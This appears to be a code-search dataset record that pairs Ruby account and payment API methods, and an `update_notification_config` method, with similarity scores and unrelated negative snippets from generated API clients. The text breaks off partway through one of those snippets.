"def fetch_accounts\n # First we need to fetch the products / views for the user\n \n user_response = JSON.parse(get(BASE_ENDPOINT + USER_ENDPOINT))\n view = user_response['views'].find { |view| view['type'] == 0}\n view_id = view['id']\n\n # Now we get the accounts for that product / view\n products_response = JSON.parse(get(BASE_ENDPOINT + PRODUCTS_ENDPOINT + \"/#{view_id}\"))\n\n # Find which products are accounts\n products_response.select! do |product|\n product['$type'] == 'Arquia.Backend.Domain.Models.Entities.Account, Arquia.Backend.Domain.Models'\n end\n\n products_response.map { |account| build_account(account) }\n end",
"def get_account\n as_json(get_results('/account'))\n end",
"def get_accounts(token)\n result = get_user_from_token(token)\n user_id = result.raw['userID']\n\n # Find the correct account\n accounts = result.raw['accounts'].select do |account|\n account['accountNo'] == account_number\n end\n\n if accounts.count > 0\n return {\n user_id: user_id,\n accounts: result.raw['accounts']\n }\n else\n raise Trading::Errors::LoginException.new(\n type: :error,\n code: '403',\n description: 'Accounts could not be found',\n messages: ['Accounts could not be found']\n )\n end\n end",
"def remote_accounts(fields: nil)\n params = build_fields_params fields\n res = @connection.get remote_account_path, params\n map_as_collection res, RemoteAccount\n end",
"def serialize_one_account(account)\n [{ public_uid: account.public_uid,\n customer: account.customer,\n workmen: account.workmen,\n admin: account.admin,\n user_id: account.user_id\n }]\n end",
"def render_accounts\n\t accounts = []\n\t self.accounts.each do |acc|\n\t \taccounts.push acc.render_detail\n\t end\n\t \n\t accounts\n\tend",
"def accounts\n @accounts ||= EbanqApi::Accounts.new(self)\n end",
"def accounts( params={} )\n accounts = get_connections(\"accounts\", params)\n return map_connections accounts, :to => Facebook::Graph::Generic\n end",
"def accounts\n return @accounts if @accounts\n @accounts = [ brokerage_account, bank_account ].compact\n end",
"def accounts\n\t\treturn @accounts\n\tend",
"def to_hash\n {\n 'account' => {\n \"company\" => company,\n \"city\" => city,\n \"phone\" => phone,\n \"region\" => region,\n \"address1\" => address1,\n \"address2\" => address2,\n \"country\" => country,\n \"zipcode\" => zipcode,\n },\n 'user' => {\n \"email\" => email,\n \"first_name\" => first_name,\n \"last_name\" => last_name,\n \"password\" => password,\n \"password_confirmation\" => password\n }\n }\n end",
"def hash\n [account_id, account_name, is_default, base_uri, organization].hash\n end",
"def list_accounts\n HTTP.headers(:accept => @@accept).basic_auth(:user => ENV[\"API_USERNAME\"], :pass => ENV[\"API_PASSWORD\"])\n .get(\"#{@@base_url}/users/#{self.guid}/accounts\").parse[\"accounts\"]\n end",
"def hash\n [wallet_id, debtor_bic, debtor_iban, debitor_name, debitor_country, debitor_address_line, creditor_bic, creditor_iban, creditor_name, creditor_address_line, creditor_country, transaction_id, virtual_iban_id, settlement_date, settlement_amount, return_reason_code, virtual_iban_reference, remittance_information, transaction_end_to_end_id].hash\n end",
"def accounts\n from = KEY_PREFIX[:account] + '00000000'\n to = KEY_PREFIX[:account] + 'ffffffff'\n level_db.each(from: from, to: to).map { |k, v| v}\n end",
"def all_merchant_configs\n profile.merchant_configs\n end",
"def index\n\t\t@accounts = Account.all\n\t\trespond_to do |format|\n\t\t\tformat.json { render json: @accounts }\n\t\tend\n\tend",
"def accounts\n @transactions.collect(&:account).uniq\n end",
"def get_reseller_accounts\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/reseller/accounts'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.get(\r\n _query_url\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n\r\n # Validate response against endpoint and global error codes.\r\n return nil if _context.response.status_code == 404\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"def transactions account_id\n data = perform_get(\"#{ACCOUNTS_PATH}/#{account_id}/transactions\")\n data[:accountTransactions] || []\n end",
"def padma_accounts\n return nil if self.accounts.nil?\n self.accounts.map{|a|PadmaAccount.new(a)}\n end",
"def index\n @api_v1_accounts = Api::V1::Account.all\n end",
"def account_ids\n user.app_metadata.fetch('account_ids', [])\n end",
"def accounts\n @accounts_manager\n end",
"def rip_accounts()\n if @version >= IOS_VERSION_9\n @database.execute(\"SELECT ZICCLOUDSYNCINGOBJECT.Z_PK \" +\n \"FROM ZICCLOUDSYNCINGOBJECT \" + \n \"WHERE ZICCLOUDSYNCINGOBJECT.ZNAME IS NOT NULL\") do |row|\n rip_account(row[\"Z_PK\"])\n end \n end\n\n if @version == IOS_LEGACY_VERSION\n @database.execute(\"SELECT ZACCOUNT.Z_PK FROM ZACCOUNT\") do |row|\n rip_account(row[\"Z_PK\"])\n end\n end\n\n @accounts.each_pair do |key, account|\n @logger.debug(\"Rip Accounts final array: #{key} corresponds to #{account.name}\")\n end\n\n end",
"def account_list\n return [] unless company\n [company] + company.sibling_accounts\n end",
"def accounts\n @accounts ||= Lightspeed::Accounts.new(context: self)\n end",
"def get_customer_account\n http_response = payment_get('/virtual_bank/accounts/self.json')\n \n if (http_response.code === 200)\n return {\n response_code: Shop::Transaction::API_RESPONSE_OK,\n response_data: {\n amount: http_response.parsed_response['amount'],\n }\n }\n else\n return {response_code: Shop::Transaction::API_RESPONSE_ERROR}\n end\n end",
"def accounts\n period.accounts\n end",
"def list_gen1_accounts() \n response = HTTParty.get(\"https://management.azure.com/subscriptions/#{subscriptionId}/providers/Microsoft.DataLakeStore/accounts?api-version=2016-11-01\", {\n\n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Accept\" => '*/*',\n \"Cache-Control\" => 'no-cache',\n \"Connection\" => 'keep-alive',\n \"cache-control\" => 'no-cache'\n },\n \n verify: true,\n })\n\n return JSON.parse response.read_body\n end",
"def list_account_keys(account_name, group = configuration.resource_group)\n validate_resource_group(group)\n\n url = build_url(group, account_name, 'listKeys')\n response = rest_post(url)\n hash = JSON.parse(response.body)\n\n parse_account_keys_from_hash(hash)\n end",
"def list_of_accounts_online\n Stripe.api_key = Rails.application.credentials.stripe[Rails.env.to_sym][:secret_key]\n return Stripe::Account.list\n end",
"def build_response!\n Accounts::TransactionsSerializer.new(account_model!, scope: transactions_count)\n end",
"def wallets\n @wallets ||= ArkEcosystem::Client::API::Wallets.new(@client)\n end",
"def create_wepay_account\n\t if self.has_wepay_access_token? && !self.has_wepay_account?\n\t params = { :name => self.name, :description => \"Selling goods on Tradies \" }\t\t\t\n\t response = WEPAY.call(\"/account/create\", self.wepay_access_token, params)\n\n\t if response[\"account_id\"]\n\t \tputs \"need to get account_id\"\n\t \t\t# puts response['account_id']\n\t # self.wepay_account_id = response[\"account_id\"]\n\t return self.update_columns(wepay_account_id: response['account_id'])\n\t else\n\t raise \"Error - \" + response[\"error_description\"]\n\t end\n\n\t end\t\t\n\t raise \"Error - cannot create WePay account\"\n\tend",
"def accounts\n return @accounts if @accounts\n\n # find the bricklet articles, which contains the balance data\n articles = accounts_summary_document.xpath(\"//article\").\n select{|a| a.attributes[\"class\"].value == \"bricklet\"}\n\n @accounts = articles.map do |article|\n prefix = article.attributes[\"id\"].value.gsub(\"_bricklet\", '')\n name = article.xpath(\".//a[@class='product_desc_link']\").text\n number = article.xpath(\".//span[@id='#{prefix}_number']\").text\n balance = article.xpath(\".//span[@id='#{prefix}_current_balance_amount']\").text\n available = first_numeric(article.xpath(\".//div[@id='#{prefix}_available_credit_amount']\").text)\n Account.new(:credit_card, name, number, balance, available)\n end\n end",
"def listaccounts(minconf = 1)\n @api.request 'listaccounts', minconf\n end",
"def build_account(data)\n Account.new(\n bank: self,\n id: data['referencia'],\n name: data['empresaDes'],\n available_balance: data['saldoValor'].to_f,\n balance: data['saldoContable'],\n currency: data['divisa'],\n iban: data['numeroAsunto'],\n description: \"#{data['bancoDes']} #{data['numeroAsuntoMostrar']}\"\n )\n end",
"def create\n megam_rest.post_accounts(to_hash)\n end",
"def get_account_csv\n to_return = [AppleNotesAccount.to_csv_headers]\n @accounts.each do |key, account|\n to_return.push(account.to_csv)\n end\n to_return\n end",
"def get_account_csv\n to_return = [AppleNotesAccount.to_csv_headers]\n @accounts.each do |key, account|\n to_return.push(account.to_csv)\n end\n to_return\n end",
"def account_information\n response = get \"account\"\n data = JSON.parse response.body\n data[\"account\"][\"credits\"]\n end",
"def account_information\n response = get \"account\"\n data = JSON.parse response.body\n data[\"account\"][\"credits\"]\n end",
"def acc_ids\n\t self.accounts.pluck(:id)\n\tend",
"def sub_accounts(conditions = {})\n client.accounts.list(conditions)\n end",
"def hash\n [id, name, address, timezone, capabilities, status, created_at, merchant_id, country, language_code, currency, phone_number, business_name, type, website_url].hash\n end",
"def account(fields: nil)\n params = build_fields_params fields\n res = @connection.get account_path, params\n Account.new res.body, self\n end",
"def hash\n [client_id, secret, client_name, language, country_codes, user, products, additional_consented_products, required_if_supported_products, webhook, access_token, link_customization_name, redirect_uri, android_package_name, institution_data, account_filters, eu_config, institution_id, payment_initiation, deposit_switch, employment, income_verification, base_report, consumer_report_permissible_purpose, auth, transfer, update, identity_verification, statements, user_token, investments, investments_auth, hosted_link].hash\n end",
"def addresses\n @client.request('getaddressesbyaccount', name)\n end",
"def all(params = {})\n req = WebPay::BasicListRequest.create(params)\n raw_response = @client._request(:get, 'customers', req)\n WebPay::CustomerResponseList.new(raw_response)\n end",
"def get_accounts(opts = {})\n data, _status_code, _headers = get_accounts_with_http_info(opts)\n data\n end",
"def get_accounts(opts = {})\n data, _status_code, _headers = get_accounts_with_http_info(opts)\n data\n end",
"def serialized_charge_accounts(_data)\n ActiveModel::ArraySerializer.new(_data, each_serializer: Api::V1::ChargeAccountsSerializer, root: 'charge_accounts')\n end",
"def hash\n [account_id, active, avalara_oid, company_id, enable_upc, estimate_only, guest_customer_code, last_test_dts, license_key, sandbox, send_test_orders, service_url, test_results].hash\n end",
"def to_jaxb_json_hash\n _h = super\n _h['merchantSubscriptionId'] = merchantSubscriptionId.to_jaxb_json_hash unless merchantSubscriptionId.nil?\n _h['merchantPaymentMethodId'] = merchantPaymentMethodId.to_jaxb_json_hash unless merchantPaymentMethodId.nil?\n return _h\n end",
"def get_accounts(page = 1, \r\n limit = 10, \r\n filter = nil, \r\n sort = nil)\r\n\r\n # prepare query url\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/accounts'\r\n _query_builder = APIHelper.append_url_with_query_parameters _query_builder, {\r\n 'page' => page,\r\n 'limit' => limit,\r\n 'filter' => filter,\r\n 'sort' => sort\r\n }\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # prepare headers\r\n _headers = {\r\n 'accept' => 'application/json',\r\n 'Content-Type' => Configuration.content_type\r\n }\r\n\r\n # prepare and execute HttpRequest\r\n _request = @http_client.get _query_url, headers: _headers\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # return appropriate response type\r\n decoded = APIHelper.json_deserialize(_context.response.raw_body) if not (_context.response.raw_body.nil? or _context.response.raw_body.to_s.strip.empty?)\r\n return decoded\r\n end",
"def reseller_accounts_get(opts = {})\n data, _status_code, _headers = reseller_accounts_get_with_http_info(opts)\n data\n end",
"def fetch_accounts\n acc_obj_arr = []\n accounts.each do |link|\n link.click\n puts \"Accessing account: #{acc_name}\"\n wait_to_load\n puts 'Loading transactions data'\n scroll_to_bottom\n puts '>Transactions data successfully loaded'\n puts 'Fetching transactions'\n tr = TransFetch.new(@bank_page).fetch_trans\n acc_obj_arr << Account.new(acc_name, acc_currency, acc_balance,\n 'Credit Card', tr)\n puts \">Successfully retrieved data for #{acc_name} account\"\n end\n acc_obj_arr\n end",
"def to_jaxb_json_hash\n _h = super\n _h['merchantSubscriptionId'] = merchantSubscriptionId.to_jaxb_json_hash unless merchantSubscriptionId.nil?\n if !billings.nil?\n _ha = Array.new\n billings.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['billings'] = _ha\n end\n return _h\n end",
"def hash\n [id, rfc, legal_name, commercial_name, credit_days, credit_amount, payment_method, creation_date, status, sales_contact, credit_contact, loctaion, comments, price_list, payment_term_type, email, telephones, number, account_number, default_discount, client_source, account, addresses].hash\n end",
"def hash\n [id, merchant_id, capacity, area_id, date_time, order_id, extra_info, promo_code, credit_card_vault_settings_id, recurring_card_detail_id, deals].hash\n end",
"def index\n @ledger_accounts = current_user.ledger_accounts.all\n respond_with @ledger_accounts\n end",
"def index\n @ledger_accounts = current_user.ledger_accounts.all\n respond_with @ledger_accounts\n end",
"def index\n account = Account.find(params[:account_id].to_i)\n @transactions = account.transactions\n\n transactions_json = TransactionSerializer.new(@transactions).serialized_json\n render json: transactions_json\n end",
"def make_response(user)\n res = {email: user.email, wallets:[]}\n user.wallets.each{|wallet| res[:wallets] << { id: wallet.id, balance: wallet.display_balance, currency: wallet.balance_currency}}\n res\n end",
"def portfolio_accounts\n data = call_api(method: \"get\", url: \"/portfolio/accounts\" )\n @accountId = data.first[\"accountId\"]\n @accountId\n end",
"def build_response\n return { \"error\": \"invalid account or no billable accounts\" } if @accounts.blank?\n\n response = []\n total_devices = 0\n total_firewalls = 0\n total_mailboxes = 0\n total_cost = 0\n @accounts.each do |acc|\n next if acc.trial?\n\n subtotal = ((@devices[acc.path] || 0) + (@firewalls[acc.path] || 0))\n total_cost += subtotal\n total_devices += @devices[acc.path] || 0\n total_firewalls += @firewalls[acc.path] || 0\n total_mailboxes += @mailboxes[acc.path] || 0\n response << {\n name: acc.name,\n devices: @devices[acc.path] || 0,\n firewalls: @firewalls[acc.path] || 0,\n mailboxes: @mailboxes[acc.path] || 0,\n subtotal: subtotal\n }\n end\n\n {\n total_devices: total_cost,\n devices: total_devices,\n firewalls: total_firewalls,\n mailboxes: total_mailboxes,\n details: response,\n billing_start_date: @start_date,\n billing_end_date: @end_date\n }\n end",
"def create_accounts\n end",
"def build_account(data)\n account, iban = data\n Account.new(\n bank: self,\n id: account['cviejo']['numerodecontrato'],\n name: account.fetch('descripcion', '').strip(),\n available_balance: money(account['saldoActual']),\n balance: money(account['saldoActual']),\n iban: iban['codIban'].values().join.strip,\n description: account.fetch('descripcion', '').strip(),\n contract_id: account['cviejo']['subgrupo']\n )\n end",
"def card_account\n response = JSON.parse(@client.get(\"users/#{send(:id)}/card_accounts\").body)\n Promisepay::CardAccount.new(@client, response['card_accounts'])\n rescue Promisepay::UnprocessableEntity\n nil\n end",
"def hash\n [bank_aba_code, bank_account_name, bank_account_number, bank_account_type, bank_name, bank_owner_type, customer_tax_id, drivers_license_dob, drivers_license_number, drivers_license_state].hash\n end",
"def getaccountdetails(params = {})\n request :getaccountdetails, params.merge( :parser => :hash)\n end",
"def build_account(data)\n Account.new(\n bank: self,\n id: data['numProd'],\n name: data['description'],\n available_balance: Money.new(data['availableBalance'] * 100, 'EUR'),\n balance: Money.new(data['balance'] * 100, 'EUR'),\n iban: data['iban']['ibanCode'],\n description: \"ARQUIA: #{data['description']}\"\n )\n end",
"def index\n @bank_accounts = BankAccount.all\n @result = []\n @bank_accounts.each do |bank_accounts|\n @obj = {\n id: bank_accounts.id,\n account_number: bank_accounts.account_number,\n account_type: bank_accounts.account_type,\n bank: bank_accounts.bank,\n statu_id: bank_accounts.statu_id,\n user_id: bank_accounts.user_id,\n active: bank_accounts.active,\n approved: bank_accounts.approved,\n certificate: bank_accounts.certificate.attached? ? url_for(bank_accounts.certificate) : nil,\n created_at: bank_accounts.created_at,\n updated_at: bank_accounts.updated_at\n }\n @result << @obj\n end\n render json: @result\n end"
] | [
"0.61195743",
"0.61078554",
"0.60963696",
"0.6085393",
"0.6038998",
"0.6007238",
"0.5957938",
"0.5881204",
"0.58375645",
"0.58062315",
"0.56970626",
"0.5687534",
"0.5671185",
"0.5658123",
"0.565612",
"0.5550756",
"0.5534916",
"0.5489564",
"0.54764843",
"0.5447324",
"0.54225194",
"0.5387712",
"0.536489",
"0.53396827",
"0.5338411",
"0.53314424",
"0.53029907",
"0.5288065",
"0.5285863",
"0.5285799",
"0.52638",
"0.52419275",
"0.52323353",
"0.5232146",
"0.5228296",
"0.5213277",
"0.51986265",
"0.5168277",
"0.51615703",
"0.51508385",
"0.51507413",
"0.5144753",
"0.5141833",
"0.512816",
"0.51181245",
"0.51149416",
"0.5112805",
"0.5110808",
"0.5067015",
"0.50615466",
"0.50576586",
"0.5055422",
"0.50540996",
"0.5039941",
"0.5028081",
"0.5014599",
"0.50029135",
"0.4993463",
"0.49854347",
"0.49823853",
"0.49523097",
"0.4948366",
"0.49457932",
"0.49391493",
"0.4928811",
"0.4919099",
"0.4917416",
"0.49136987",
"0.49136987",
"0.49057773",
"0.4897568",
"0.48954448",
"0.4882253",
"0.48809946",
"0.4877342",
"0.4866085",
"0.48565722",
"0.48565722",
"0.48534104",
"0.48511484",
"0.48507726",
"0.48435676",
"0.4837918",
"0.48215917",
"0.48177966",
"0.480446",
"0.4800324",
"0.47970957",
"0.47970957",
"0.47964153",
"0.4791447",
"0.47863525",
"0.47809944",
"0.47795233",
"0.47763476",
"0.47750318",
"0.47629774",
"0.4760768",
"0.47582576",
"0.47549573"
] | 0.5115158 | 45 |
Updates the configuration which controls http notifications for all merchant accounts under this partner. == Parameters cfg A Hash, with keys :http_notification_url and :http_notification_threshold The value of the notification_url will be a url containing the string '%s' exactly once. This allows the url to be used as a template, into which a merchant account id can be substituted. The notification threshold should be a floating point number between 0.0 and 1.0 | def update_notification_config(cfg)
http_put(notification_config_url(), cfg)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def patch_adapter_config_policy_with_http_info(moid, adapter_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdapterApi.patch_adapter_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling AdapterApi.patch_adapter_config_policy\"\n end\n # verify the required parameter 'adapter_config_policy' is set\n if @api_client.config.client_side_validation && adapter_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'adapter_config_policy' when calling AdapterApi.patch_adapter_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/adapter/ConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(adapter_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'AdapterConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AdapterApi.patch_adapter_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdapterApi#patch_adapter_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_adapter_config_policy_with_http_info(moid, adapter_config_policy, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AdapterApi.update_adapter_config_policy ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling AdapterApi.update_adapter_config_policy\"\n end\n # verify the required parameter 'adapter_config_policy' is set\n if @api_client.config.client_side_validation && adapter_config_policy.nil?\n fail ArgumentError, \"Missing the required parameter 'adapter_config_policy' when calling AdapterApi.update_adapter_config_policy\"\n end\n # resource path\n local_var_path = '/api/v1/adapter/ConfigPolicies/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json', 'application/json-patch+json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'If-Match'] = opts[:'if_match'] if !opts[:'if_match'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(adapter_config_policy)\n\n # return_type\n return_type = opts[:debug_return_type] || 'AdapterConfigPolicy'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"AdapterApi.update_adapter_config_policy\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AdapterApi#update_adapter_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_gateway(config)\n changed = false\n lines = IO.readlines config\n File.open(config, \"w\") do |file|\n lines.each do |s|\n if /^[\\s]*cloud_controller_uri:/ =~ s\n changed = true unless /#{@uri}[\\s]*$/ =~ s\n file.puts \"cloud_controller_uri: http://#{@uri}\\n\"\n else\n file.puts s\n end\n end\n end\n changed\n end",
"def patch_policy_tier1_multicast_config_with_http_info(tier_1_id, locale_services_id, policy_tier1_multicast_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config\"\n end\n # verify the required parameter 'policy_tier1_multicast_config' is set\n if @api_client.config.client_side_validation && policy_tier1_multicast_config.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_tier1_multicast_config' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config\"\n end\n # resource path\n local_var_path = '/infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/multicast'.sub('{' + 'tier-1-id' + '}', tier_1_id.to_s).sub('{' + 'locale-services-id' + '}', locale_services_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(policy_tier1_multicast_config)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyNetworkingConnectivityTier1GatewaysMulticastApi#patch_policy_tier1_multicast_config\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_status config\n\n #format of config {}\n #config = { :every => '1d',\n # :contact => '[email protected]',\n # :via => 'gmail'\n # }\n\n scheduler = Rufus::Scheduler.start_new\n scheduler.every config[:every] do \n\n puts 'sending Status Report...' \n\n @body = status_report \n message = {:to => config[:contact],\n :subject => @subject, \n :body => @body}\n\n if config[:via] == 'gmail'\n Ragios::Notifiers::GMailNotifier.new.send message \n elsif config[:via] == 'email'\n Ragios::Notifiers::EmailNotifier.new.send message\n else\n raise 'Wrong hash parameter for update_status()'\n end\n end\n end",
"def process_notification_with_http_info(plugin_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PaymentGatewaysApi.process_notification ...\"\n end\n # verify the required parameter 'plugin_name' is set\n if @api_client.config.client_side_validation && plugin_name.nil?\n fail ArgumentError, \"Missing the required parameter 'plugin_name' when calling PaymentGatewaysApi.process_notification\"\n end\n if @api_client.config.client_side_validation && plugin_name !~ Regexp.new(/.*/)\n fail ArgumentError, \"invalid value for 'plugin_name' when calling PaymentGatewaysApi.process_notification, must conform to the pattern /.*/.\"\n end\n\n # resource path\n local_var_path = \"/1.0/kb/paymentGateways/notification/{pluginName}\".sub('{' + 'pluginName' + '}', plugin_name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'controlPluginName'] = @api_client.build_collection_param(opts[:'control_plugin_name'], :multi) if !opts[:'control_plugin_name'].nil?\n query_params[:'pluginProperty'] = @api_client.build_collection_param(opts[:'plugin_property'], :multi) if !opts[:'plugin_property'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['*/*'])\n header_params[:'X-Killbill-CreatedBy'] = opts[:'x_killbill_created_by'] if !opts[:'x_killbill_created_by'].nil?\n header_params[:'X-Killbill-Reason'] = opts[:'x_killbill_reason'] if !opts[:'x_killbill_reason'].nil?\n header_params[:'X-Killbill-Comment'] = opts[:'x_killbill_comment'] if !opts[:'x_killbill_comment'].nil?\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'body'])\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PaymentGatewaysApi#process_notification\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def update_monitor_config_policy_with_http_info(policy_id, body, opts = {})\n\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: MonitorsAPI.update_monitor_config_policy ...'\n end\n # verify the required parameter 'policy_id' is set\n if @api_client.config.client_side_validation && policy_id.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_id' when calling MonitorsAPI.update_monitor_config_policy\"\n end\n # verify the required parameter 'body' is set\n if @api_client.config.client_side_validation && body.nil?\n fail ArgumentError, \"Missing the required parameter 'body' when calling MonitorsAPI.update_monitor_config_policy\"\n end\n # resource path\n local_var_path = '/api/v2/monitor/policy/{policy_id}'.sub('{policy_id}', CGI.escape(policy_id.to_s).gsub('%2F', '/'))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(body)\n\n # return_type\n return_type = opts[:debug_return_type] || 'MonitorConfigPolicyResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || [:apiKeyAuth, :appKeyAuth]\n\n new_options = opts.merge(\n :operation => :update_monitor_config_policy,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type,\n :api_version => \"V2\"\n )\n\n data, status_code, headers = @api_client.call_api(Net::HTTP::Patch, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: MonitorsAPI#update_monitor_config_policy\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def patch_policy_tier1_multicast_config_0_with_http_info(tier_1_id, locale_services_id, policy_tier1_multicast_config, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config_0 ...'\n end\n # verify the required parameter 'tier_1_id' is set\n if @api_client.config.client_side_validation && tier_1_id.nil?\n fail ArgumentError, \"Missing the required parameter 'tier_1_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config_0\"\n end\n # verify the required parameter 'locale_services_id' is set\n if @api_client.config.client_side_validation && locale_services_id.nil?\n fail ArgumentError, \"Missing the required parameter 'locale_services_id' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config_0\"\n end\n # verify the required parameter 'policy_tier1_multicast_config' is set\n if @api_client.config.client_side_validation && policy_tier1_multicast_config.nil?\n fail ArgumentError, \"Missing the required parameter 'policy_tier1_multicast_config' when calling PolicyNetworkingConnectivityTier1GatewaysMulticastApi.patch_policy_tier1_multicast_config_0\"\n end\n # resource path\n local_var_path = '/global-infra/tier-1s/{tier-1-id}/locale-services/{locale-services-id}/multicast'.sub('{' + 'tier-1-id' + '}', 